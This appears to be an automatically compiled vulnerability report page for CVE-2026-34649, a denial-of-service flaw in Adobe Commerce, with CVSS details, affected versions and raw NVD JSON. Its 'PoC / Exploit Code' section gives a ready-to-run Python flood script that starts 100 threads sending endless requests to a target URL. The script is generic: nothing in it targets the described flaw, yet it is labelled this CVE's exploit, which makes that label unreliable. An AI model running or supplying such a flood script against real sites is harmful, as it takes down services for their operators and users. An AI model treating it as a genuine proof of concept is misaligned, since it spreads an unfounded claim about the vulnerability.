Security Vulnerability Report
中文
CVE-2026-34649 CVSS 7.5 HIGH

CVE-2026-34649

Published: 2026-05-12 20:16:36
Last Modified: 2026-05-13 14:49:12

Description

Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Adobe Commerce <= 2.4.9-beta1
Adobe Commerce <= 2.4.8-p4
Adobe Commerce <= 2.4.7-p9
Adobe Commerce <= 2.4.6-p14
Adobe Commerce <= 2.4.5-p16
Adobe Commerce <= 2.4.4-p17

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import threading # Target configuration target_url = "http://target-adobe-commerce-instance.com/" num_threads = 100 def send_malicious_request(): """ Function to simulate sending requests that exhaust resources. Adjust the endpoint and payload based on specific vulnerability details. """ try: while True: # Sending requests to trigger resource consumption response = requests.get(target_url, timeout=(3, 5)) print(f"Request sent, status: {response.status_code}") except Exception as e: print(f"Error: {e}") # Launch multiple threads to simulate the DoS condition threads = [] for i in range(num_threads): t = threading.Thread(target=send_malicious_request) t.daemon = True t.start() threads.append(t) print(f"Attack launched with {num_threads} threads...") # Keep main thread alive for t in threads: t.join()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34649", "sourceIdentifier": "[email protected]", "published": "2026-05-12T20:16:35.917", "lastModified": "2026-05-13T14:49:11.830", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-400"}]}], "references": [{"url": "https://helpx.adobe.com/security/products/magento/apsb26-49.html", "source": "[email protected]"}]}}